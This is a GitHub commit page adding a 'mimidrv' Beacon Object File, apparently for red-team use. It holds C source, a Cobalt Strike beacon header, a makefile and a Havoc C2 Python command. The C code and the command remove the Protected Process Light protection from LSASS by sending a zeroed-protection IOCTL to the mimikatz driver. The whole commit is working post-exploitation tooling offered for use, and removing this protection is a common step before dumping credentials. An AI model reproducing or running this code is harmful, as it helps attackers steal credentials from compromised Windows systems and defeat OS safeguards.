Skip to content

Commit

Permalink
add mimidrv BOF
Browse files Browse the repository at this point in the history
it simply tells the mimikatz driver to uprotect LSASS
  • Loading branch information
S4ntiagoP committed Aug 1, 2023
1 parent a83c697 commit a756082
Show file tree
Hide file tree
Showing 6 changed files with 283 additions and 0 deletions.
Binary file added mimidrv/dist/mimidrv.x64.o
Binary file not shown.
63 changes: 63 additions & 0 deletions mimidrv/include/beacon.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,63 @@
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Cobalt Strike 4.1.
*/

#pragma once

/* data API */
typedef struct {
char* original; /* the original buffer [so we can free it] */
char* buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;

DECLSPEC_IMPORT void BeaconDataParse(datap* parser, char* buffer, int size);
DECLSPEC_IMPORT int BeaconDataInt(datap* parser);
DECLSPEC_IMPORT short BeaconDataShort(datap* parser);
DECLSPEC_IMPORT int BeaconDataLength(datap* parser);
DECLSPEC_IMPORT char* BeaconDataExtract(datap* parser, int* size);

/* format API */
typedef struct {
char* original; /* the original buffer [so we can free it] */
char* buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;

DECLSPEC_IMPORT void BeaconFormatAlloc(formatp* format, int maxsz);
DECLSPEC_IMPORT void BeaconFormatReset(formatp* format);
DECLSPEC_IMPORT void BeaconFormatFree(formatp* format);
DECLSPEC_IMPORT void BeaconFormatAppend(formatp* format, char* text, int len);
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp* format, char* fmt, ...);
DECLSPEC_IMPORT char* BeaconFormatToString(formatp* format, int* size);
DECLSPEC_IMPORT void BeaconFormatInt(formatp* format, int value);

/* Output Functions */
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_ERROR 0x0d
#define CALLBACK_OUTPUT_UTF8 0x20

DECLSPEC_IMPORT void BeaconPrintf(int type, char* fmt, ...);
DECLSPEC_IMPORT void BeaconOutput(int type, char* data, int len);

/* Token Functions */
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void BeaconRevertToken(VOID);
DECLSPEC_IMPORT BOOL BeaconIsAdmin(VOID);

/* Spawn+Inject Functions */
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char* buffer, int length);
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len);
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len);
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION* pInfo);

/* Utility Functions */
DECLSPEC_IMPORT BOOL toWideChar(char* src, wchar_t* dst, int max);
43 changes: 43 additions & 0 deletions mimidrv/include/entry.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@

#include <windows.h>
#include "beacon.h"
#include <winioctl.h>

#define MIMIKATZ_DRIVER L"mimidrv"

WINBASEAPI BOOL WINAPI KERNEL32$DeviceIoControl(HANDLE, DWORD, LPVOID, DWORD, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
#define DeviceIoControl KERNEL32$DeviceIoControl

WINBASEAPI DWORD WINAPI KERNEL32$GetLastError();
#define GetLastError KERNEL32$GetLastError

WINBASEAPI HLOCAL WINAPI KERNEL32$LocalAlloc(UINT uFlags, SIZE_T uBytes);
#define LocalAlloc KERNEL32$LocalAlloc

WINBASEAPI HLOCAL WINAPI KERNEL32$LocalFree(HLOCAL hMem);
#define LocalFree KERNEL32$LocalFree

WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileW (LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
#define CreateFileW KERNEL32$CreateFileW

WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);
#define CloseHandle KERNEL32$CloseHandle

typedef struct _PS_PROTECTION {
UCHAR Type : 3;
UCHAR Audit : 1;
UCHAR Signer: 4;
} PS_PROTECTION, *PPS_PROTECTION;

typedef struct _KIWI_PROCESS_SIGNATURE_PROTECTION {
UCHAR SignatureLevel;
UCHAR SectionSignatureLevel;
PS_PROTECTION Protection;
} KIWI_PROCESS_SIGNATURE_PROTECTION, *PKIWI_PROCESS_SIGNATURE_PROTECTION;

typedef struct _MIMIDRV_PROCESS_PROTECT_INFORMATION {
ULONG processId;
KIWI_PROCESS_SIGNATURE_PROTECTION SignatureProtection;
} MIMIDRV_PROCESS_PROTECT_INFORMATION, *PMIMIDRV_PROCESS_PROTECT_INFORMATION;

#define IOCTL_MIMIDRV_PROCESS_PROTECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x012, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA)
6 changes: 6 additions & 0 deletions mimidrv/makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
BOFNAME := mimidrv
OPTIONS := -I include -Wall
CC_x64 := x86_64-w64-mingw32-gcc

all:
$(CC_x64) -o dist/$(BOFNAME).x64.o -c source/entry.c $(OPTIONS)
79 changes: 79 additions & 0 deletions mimidrv/mimidrv.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,79 @@
from havoc import Demon, RegisterCommand, RegisterModule
import re

class MyPacker:
def __init__(self):
self.buffer : bytes = b''
self.size : int = 0

def getbuffer(self):
return pack("<L", self.size) + self.buffer

def addstr(self, s):
if s is None:
s = ''
if isinstance(s, str):
s = s.encode("utf-8" )
fmt = "<L{}s".format(len(s) + 1)
self.buffer += pack(fmt, len(s)+1, s)
self.size += calcsize(fmt)

def addWstr(self, s):
s = s.encode("utf-16_le")
fmt = "<L{}s".format(len(s) + 2)
self.buffer += pack(fmt, len(s)+2, s)
self.size += calcsize(fmt)

def addbytes(self, b):
fmt = "<L{}s".format(len(b))
self.buffer += pack(fmt, len(b), b)
self.size += calcsize(fmt)

def addbool(self, b):
fmt = '<I'
self.buffer += pack(fmt, 1 if b else 0)
self.size += calcsize(fmt)

def adduint32(self, n):
fmt = '<I'
self.buffer += pack(fmt, n)
self.size += calcsize(fmt)

def addshort(self, n):
fmt = '<h'
self.buffer += pack(fmt, n)
self.size += calcsize(fmt)

def mimidrv( demonID, *params ):
TaskID : str = None
demon : Demon = None
packer = MyPacker()
demon = Demon( demonID )

num_params = len(params)
pid = ''

if num_params < 1:
demon.ConsoleWrite( demon.CONSOLE_ERROR, "Not enough parameters" )
return True
elif num_params == 1:
pid = params[ 0 ]
elif num_params > 1:
demon.ConsoleWrite( demon.CONSOLE_ERROR, "Too many parameters" )
return True

try:
pid = int( pid )
except Exception as e:
demon.ConsoleWrite( demon.CONSOLE_ERROR, "Invalid PID" )
return True

packer.adduint32(pid)

TaskID = demon.ConsoleWrite( demon.CONSOLE_TASK, "Tasked demon to disable the PPL protection from LSASS" )

demon.InlineExecute( TaskID, "go", "dist/mimidrv.x64.o", packer.getbuffer(), False )

return TaskID

RegisterCommand( mimidrv, "", "mimidrv", "Disable PPL by interacting with the Mimidrv", 0, "<LSASS_PID>", "1337" )
92 changes: 92 additions & 0 deletions mimidrv/source/entry.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,92 @@

#include "entry.h"

BOOL kull_m_kernel_ioctl_handle(HANDLE hDriver, DWORD ioctlCode, PVOID bufferIn, DWORD szBufferIn, PVOID * pBufferOut, PDWORD pSzBufferOut, BOOL autobuffer)
{
BOOL status = FALSE;
DWORD lStatus = ERROR_MORE_DATA, returned;

if(!autobuffer)
{
status = DeviceIoControl(hDriver, ioctlCode, bufferIn, szBufferIn, pBufferOut ? *pBufferOut : NULL, pSzBufferOut ? *pSzBufferOut : 0, &returned, NULL);
}
else
{
for(*pSzBufferOut = 0x10000; (lStatus == ERROR_MORE_DATA) && (*pBufferOut = LocalAlloc(LPTR, *pSzBufferOut)) ; *pSzBufferOut <<= 1)
{
status = DeviceIoControl(hDriver, ioctlCode, bufferIn, szBufferIn, *pBufferOut, *pSzBufferOut, &returned, NULL);
if(status)
{
lStatus = ERROR_SUCCESS;
}
else
{
lStatus = GetLastError();
if(lStatus == ERROR_MORE_DATA)
{
LocalFree(*pBufferOut);
}
}
}
}
if(!status)
{
BeaconPrintf(CALLBACK_ERROR, "DeviceIoControl");
if(autobuffer)
{
LocalFree(*pBufferOut);
}
}
else if(pSzBufferOut)
{
*pSzBufferOut = returned;
}
return status;
}

BOOL kull_m_kernel_ioctl(PCWSTR driver, DWORD ioctlCode, PVOID bufferIn, DWORD szBufferIn, PVOID * pBufferOut, PDWORD pSzBufferOut, BOOL autobuffer)
{
BOOL status = FALSE;
HANDLE hDriver;
hDriver = CreateFileW(driver, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if(hDriver && hDriver != INVALID_HANDLE_VALUE)
{
status = kull_m_kernel_ioctl_handle(hDriver, ioctlCode, bufferIn, szBufferIn, pBufferOut, pSzBufferOut, autobuffer);
CloseHandle(hDriver);
}
else
{
BeaconPrintf(CALLBACK_ERROR, "CreateFile");
}
return status;
}

BOOL kull_m_kernel_mimidrv_simple_output(DWORD ioctlCode, PVOID bufferIn, DWORD szBufferIn)
{
BOOL status = FALSE;
PVOID buffer = NULL;
DWORD szBuffer;

status = kull_m_kernel_ioctl(L"\\\\.\\" MIMIKATZ_DRIVER, ioctlCode, bufferIn, szBufferIn, &buffer, &szBuffer, TRUE);
if(status)
{
//for(i = 0; i < szBuffer / sizeof(wchar_t); i++)
// kprintf(L"%c", ((wchar_t *) buffer)[i]);
LocalFree(buffer);
}
return status;
}

void go(char* args, int length)
{
datap parser;
MIMIDRV_PROCESS_PROTECT_INFORMATION protectInfos = {0, {0, 0, {0, 0, 0}}};
BOOL ret_val = FALSE;
BeaconDataParse(&parser, args, length);
protectInfos.processId = BeaconDataInt(&parser); // LSASS PID

ret_val = kull_m_kernel_mimidrv_simple_output(IOCTL_MIMIDRV_PROCESS_PROTECT, &protectInfos, sizeof(MIMIDRV_PROCESS_PROTECT_INFORMATION));
BeaconPrintf(CALLBACK_OUTPUT, "Result: %d", ret_val);

return;
}

0 comments on commit a756082

Please sign in to comment.